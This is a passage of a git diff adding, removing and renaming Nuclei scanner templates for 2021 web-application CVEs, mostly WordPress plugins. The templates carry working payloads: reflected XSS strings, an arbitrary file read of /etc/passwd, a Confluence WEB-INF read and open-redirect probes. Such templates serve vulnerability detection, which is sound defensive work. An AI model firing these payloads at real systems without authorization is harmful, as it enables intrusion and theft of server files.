Domain Check <1.0.17 - Cross-Site Scripting - author: cckuailong - severity: medium - description: WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page. - remediation: | - Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability. - reference: - - https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24926 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24926 - cwe-id: CWE-79 - epss-score: 0.00171 - epss-percentile: 0.53153 - cpe: cpe:2.3:a:domaincheckplugin:domain_check:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: domaincheckplugin - product: domain_check - framework: wordpress - tags: cve,cve2021,wpscan,xss,wp,wordpress,wp-plugin,authenticated,domaincheckplugin - -http: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "Domain Check" - condition: and - - - type: status - status: - - 200 -# digest: 4a0a00473045022100d0f4d9bfcc048f509d4adc32bc55b484ffb0c20b4119b906aae940c8cd858c120220778eacf2b57cdec131c557397df891c5923101ad74b0501c14fcd71964089258:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24947.yaml b/nuclei-templates/CVE-2021/CVE-2021-24947.yaml new file mode 100644 index 0000000000..9796ad8438 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24947.yaml @@ -0,0 +1,56 @@ +id: CVE-2021-24947 + +info: + name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read + author: cckuailong + severity: medium + description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server. + impact: | + An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information. + remediation: | + Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability. + reference: + - https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24947 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/kazet/wpgarlic + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2021-24947 + cwe-id: CWE-352,CWE-863 + epss-score: 0.00315 + epss-percentile: 0.69672 + cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: thinkupthemes + product: responsive_vector_maps + framework: wordpress + tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 +# digest: 4a0a004730450221008def46061f092b5a0c93c28264ab3a05066eaf001fe4abf17f6bb797222530eb02206027d16ad6b375a0bf8611d8873cea6d30f23a2c433cfcf607ec748b470ffabc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-24987.yaml b/nuclei-templates/CVE-2021/CVE-2021-24987.yaml new file mode 100644 index 0000000000..319a078835 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24987.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-24987 + +info: + name: Super Socializer < 7.13.30 - Reflected Cross-Site Scripting + author: Akincibor + severity: medium + description: The plugin does not sanitise and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, + leading to a Reflected Cross-Site Scripting issue. + reference: + - https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24987 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-24987 + cwe-id: CWE-79 + tags: xss,wp,wp-plugin,wordpress,cve,cve2021 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{"facebook_urls":[[""]]' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-24991.yaml b/nuclei-templates/CVE-2021/CVE-2021-24991.yaml new file mode 100644 index 0000000000..0776823a12 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24991.yaml @@ -0,0 +1,51 @@ +id: CVE-2021-24991 + +info: + name: WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting + author: cckuailong + severity: medium + description: The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard. + reference: + - https://wpscan.com/vulnerability/88e706df-ae03-4665-94a3-db226e1f31a9 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24991 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2021-24991 + cwe-id: CWE-79 + cpe: cpe:2.3:a:wpovernight:woocommerce_pdf_invoices\&_packing_slips:*:*:*:*:*:*:*:* + epss-score: 0.00092 + tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan + metadata: + max-request: 2 + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/admin.php?page=wpo_wcpdf_options_page§ion=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x" + - "WooCommerce PDF Invoices" + condition: and + + - type: status + status: + - 200 + +# Enhanced by cs 08/16/2022 diff --git a/nuclei-templates/CVE-2021/CVE-2021-25008.yaml b/nuclei-templates/CVE-2021/CVE-2021-25008.yaml new file mode 100644 index 0000000000..a0a68a4966 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-25008.yaml @@ -0,0 +1,40 @@ +id: CVE-2021-25008 +info: + name: The Code Snippets WordPress plugin < 2.14.3 - XSS + author: cckuailong + severity: medium + description: The Code Snippets WordPress plugin before 2.14.3 does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue. + reference: + - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a + - https://nvd.nist.gov/vuln/detail/CVE-2021-25008 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-25008 + cwe-id: CWE-79 + tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x" + - "Snippets" + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-25028.yaml b/nuclei-templates/CVE-2021/CVE-2021-25028.yaml deleted file mode 100644 index 277b5b3d62..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-25028.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-25028 - -info: - name: WordPress Event Tickets < 5.2.2 - Open Redirect - author: dhiyaneshDk - severity: medium - description: WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue. - remediation: | - Update to the latest version of the WordPress Event Tickets plugin (5.2.2 or higher) to fix the open redirect vulnerability. - reference: - - https://wpscan.com/vulnerability/80b0682e-2c3b-441b-9628-6462368e5fc7 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25028 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-25028 - cwe-id: CWE-601 - epss-score: 0.00106 - epss-percentile: 0.42838 - cpe: cpe:2.3:a:tri:event_tickets:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: tri - product: event_tickets - framework: wordpress - tags: cve2021,cve,wordpress,redirect,wp-plugin,eventtickets,wpscan,tri - -http: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a004730450220523e42cccb15d399bfe1d8f4b00af72f0ccf7c7bd749ec772e31fa77690724b4022100bfbc6f0237c977b76922435c5442ce93f373946c65ea39d0dcb51f48c357a6d1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-25033.yaml b/nuclei-templates/CVE-2021/CVE-2021-25033.yaml deleted file mode 100644 index 82510273ad..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-25033.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: noptin-open-redirect - -info: - name: Noptin < 1.6.5 - Open Redirect - author: dhiyaneshDk - severity: low - description: The plugin does not validate the to parameter before redirecting the user to its given value, leading to an open redirect issue - reference: - - https://wpscan.com/vulnerability/c2d2384c-41b9-4aaf-b918-c1cfda58af5c - - https://plugins.trac.wordpress.org/changeset/2639592 - tags: wordpress,redirect,wp-plugin,noptin,wp - -requests: - - method: GET - path: - - "{{BaseURL}}/?noptin_ns=email_click&to=https://example.com" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2021/CVE-2021-25074.yaml b/nuclei-templates/CVE-2021/CVE-2021-25074.yaml new file mode 100644 index 0000000000..726e7dd13e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-25074.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-25074 + +info: + name: WordPress WebP Converter for Media < 4.0.3 - Unauthenticated Open Redirect + author: dhiyaneshDk + severity: medium + description: WordPress WebP Converter for Media < 4.0.3 contains a file (passthru.php) which does not validate the src parameter before redirecting the user to it, leading to an open redirect issue. + impact: | + An attacker can trick users into visiting a malicious website, leading to potential phishing attacks or the disclosure of sensitive information. + remediation: | + Update to the latest version of the WordPress WebP Converter for Media plugin (4.0.3) or remove the plugin if not needed. + reference: + - https://wpscan.com/vulnerability/f3c0a155-9563-4533-97d4-03b9bac83164 + - https://nvd.nist.gov/vuln/detail/CVE-2021-25074 + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-25074 + cwe-id: CWE-601 + epss-score: 0.00106 + epss-percentile: 0.42122 + cpe: cpe:2.3:a:webp_converter_for_media_project:webp_converter_for_media:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: webp_converter_for_media_project + product: webp_converter_for_media + framework: wordpress + tags: cve2021,cve,redirect,wp-plugin,webpconverter,wpscan,wordpress,webp_converter_for_media_project + +http: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh" + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 4a0a00473045022100b07e30b60813be07ad6a2b28ad020bb7afc7e921992d672cc8cfd26e37ccddd502203e41c21853075160cd1331bf8021e9aa97b5a5a9987ea23114fc44e42121ed46:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-25075.yaml b/nuclei-templates/CVE-2021/CVE-2021-25075.yaml deleted file mode 100644 index c3af39b163..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-25075.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-25075 -info: - name: WordPress Duplicate Page or Post < 1.5.1 - Stored XSS - author: DhiyaneshDK - severity: low - description: | - The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues. - remediation: Fixed in version 1.5.1. - reference: - - https://wpscan.com/vulnerability/db5a0431-af4d-45b7-be4e-36b6c90a601b - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25075 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - cvss-score: 3.50 - cve-id: CVE-2021-25075 - cwe-id: CWE-862 - tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p - - | - GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "style=animation-name:rotation onanimationstart=alert(/XSS/) p" - - "toplevel_page_wpda_duplicate_post_menu" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-25112.yaml b/nuclei-templates/CVE-2021/CVE-2021-25112.yaml new file mode 100644 index 0000000000..1705945685 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-25112.yaml @@ -0,0 +1,51 @@ +id: CVE-2021-25112 + +info: + name: WordPress WHMCS Bridge < 6.4b - Cross-Site Scripting + author: DhiyaneshDK + severity: medium + description: WordPress WHMCS Bridge < 6.4b is susceptible to authenticated reflected cross-site scripting because the plugin does not sanitize and escape the error parameter before outputting it back in admin dashboard. + reference: + - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25112 + - https://plugins.trac.wordpress.org/changeset/2659751 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-25112 + cwe-id: CWE-79 + tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated + +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/21 diff --git a/nuclei-templates/CVE-2021/cve-2021-25281.yaml b/nuclei-templates/CVE-2021/CVE-2021-25281.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-25281.yaml rename to nuclei-templates/CVE-2021/CVE-2021-25281.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-26085.yaml b/nuclei-templates/CVE-2021/CVE-2021-26085.yaml deleted file mode 100644 index f2032f23ff..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-26085.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2021-26085 -info: - name: Confluence Pre-Authorization Arbitrary File Read in /s/ endpoint - CVE-2021-26085 - author: princechaddha - severity: medium - description: Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. - reference: - - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-26085 - - https://jira.atlassian.com/browse/CONFSERVER-67893 - - http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-26085 - cwe-id: CWE-862 - metadata: - shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2021,confluence,atlassian,lfi,kev -requests: - - method: GET - path: - - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - "Confluence" - - "com.atlassian.confluence.setup.ConfluenceAppConfig" - condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-26475.yaml b/nuclei-templates/CVE-2021/CVE-2021-26475.yaml deleted file mode 100644 index fe90ee9d9f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-26475.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2021-26475 - -info: - name: EPrints 3.4.2 XSS - author: geeknik - severity: medium - description: EPrints 3.4.2 exposes a reflected XSS opportunity in the via a cgi/cal URI. - reference: - - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf - - https://files.eprints.org/2548/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-26475 - cwe-id: CWE-79 - tags: cve,cve2021,xss,eprints - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - - type: word - part: header - words: - - "text/html" diff --git a/nuclei-templates/CVE-2021/CVE-2021-26598.yaml b/nuclei-templates/CVE-2021/CVE-2021-26598.yaml new file mode 100644 index 0000000000..ef2052edd2 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-26598.yaml @@ -0,0 +1,67 @@ +id: CVE-2021-26598 + +info: + name: ImpressCMS <1.4.3 - Incorrect Authorization + author: gy741,pdteam + severity: medium + description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability. + reference: + - https://hackerone.com/reports/1081137 + - http://karmainsecurity.com/KIS-2022-03 + - https://github.com/ImpressCMS + - https://nvd.nist.gov/vuln/detail/CVE-2021-26598 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-26598 + cwe-id: CWE-287 + epss-score: 0.00506 + epss-percentile: 0.73786 + cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: impresscms + product: impresscms + shodan-query: http.html:"ImpressCMS" + tags: hackerone,cve,cve2021,impresscms,unauth,cms + +http: + - raw: + - | + GET /misc.php?action=showpopups&type=friend HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 + - | + GET /include/findusers.php?token={{token}} HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 + + cookie-reuse: true + req-condition: true + + matchers-condition: and + matchers: + - type: word + part: body_2 + words: + - 'last_login' + - 'user_regdate' + - 'uname' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + name: token + group: 1 + regex: + - "REQUEST' value='(.*?)'" + - 'REQUEST" value="(.*?)"' + internal: true + +# digest: 4b0a00483046022100b45f327e67d77969dc74e380e5076df833318059932eb8f7d4a54faf8c21145f022100f2f05c3690daee463025e4e1ceaadaab6907e2779464c2da9c3cd914dae7ad3b:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-26722.yaml b/nuclei-templates/CVE-2021/CVE-2021-26722.yaml deleted file mode 100644 index 0396e2cedf..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-26722.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: CVE-2021-26722 -info: - name: LinkedIn Oncall 1.4.0 XSS - author: pikpikcu - severity: medium - description: LinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the "No results found for" message in the search bar. - reference: https://github.com/linkedin/oncall/issues/341 - tags: cve,cve2021,linkedin,xss - issues: https://github.com/linkedin/oncall/issues/341 -requests: - - method: GET - path: - - "{{BaseURL}}/query/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/all" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "" - part: body - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-26812.yaml b/nuclei-templates/CVE-2021/CVE-2021-26812.yaml new file mode 100644 index 0000000000..c6316beaa3 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-26812.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-26812 + +info: + name: Moodle jitsi plugin XSS + author: aceseven (digisec360) + description: Cross Site Scripting (XSS) in the Jitsi Meet 2.7 through 2.8.3 plugin for Moodle via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject javascript code to be run by the application. + severity: medium + tags: cve,cve2021,moodle,jitsi,xss + reference: | + - https://github.com/udima-university/moodle-mod_jitsi/issues/67 + - https://nvd.nist.gov/vuln/detail/CVE-2021-26812 + +requests: + - method: GET + path: + - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "alert(document.domain);" + + - type: status + status: + - 200 + + - type: word + part: header + words: + - "MoodleSession" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-27132.yaml b/nuclei-templates/CVE-2021/CVE-2021-27132.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-27132.yaml rename to nuclei-templates/CVE-2021/CVE-2021-27132.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-27309.yaml b/nuclei-templates/CVE-2021/CVE-2021-27309.yaml new file mode 100644 index 0000000000..9c1806567b --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-27309.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-27309 +info: + name: Clansphere CMS 2011.4 - Reflected XSS + author: edoardottt + severity: medium + description: | + Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "module" parameter. + reference: + - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-27309 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-27309 + cwe-id: CWE-79 + metadata: + verified: true + tags: cve,cve2021,clansphere,xss,cms,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">.php' + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-27310.yaml b/nuclei-templates/CVE-2021/CVE-2021-27310.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-27310.yaml rename to nuclei-templates/CVE-2021/CVE-2021-27310.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-27358.yaml b/nuclei-templates/CVE-2021/CVE-2021-27358.yaml deleted file mode 100644 index a1dfa1f06e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-27358.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2021-27358 - -info: - name: Grafana Unauthenticated Snapshot Creation - author: pdteam,bing0o - severity: high - description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set. - reference: - - https://phabricator.wikimedia.org/T274736 - - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-27358 - - https://github.com/grafana/grafana/blob/master/CHANGELOG.md - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.5 - cve-id: CVE-2021-27358 - cwe-id: CWE-306 - epss-score: 0.02156 - metadata: - max-request: 1 - shodan-query: title:"Grafana" - tags: cve,cve2021,grafana,unauth - -http: - - raw: - - | - POST /api/snapshots HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} - - matchers-condition: and - matchers: - - part: body - type: word - words: - - '"deleteUrl":' - - '"deleteKey":' - condition: and - - - type: word - part: header - words: - - "application/json" - -# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2021/CVE-2021-27519.yaml b/nuclei-templates/CVE-2021/CVE-2021-27519.yaml new file mode 100644 index 0000000000..97b1350cae --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-27519.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-27519 +info: + name: FUDForum 3.1.0 - Reflected XSS + author: kh4sh3i + severity: medium + description: | + A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript + reference: + - https://www.exploit-db.com/exploits/49942 + - https://nvd.nist.gov/vuln/detail/CVE-2021-27519 + - https://github.com/fudforum/FUDforum/issues/2 + - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-27519 + cwe-id: CWE-79 + metadata: + shodan-query: 'http.html:"Powered by: FUDforum"' + verified: "true" + tags: cve,cve2021,xss,fudforum +requests: + - 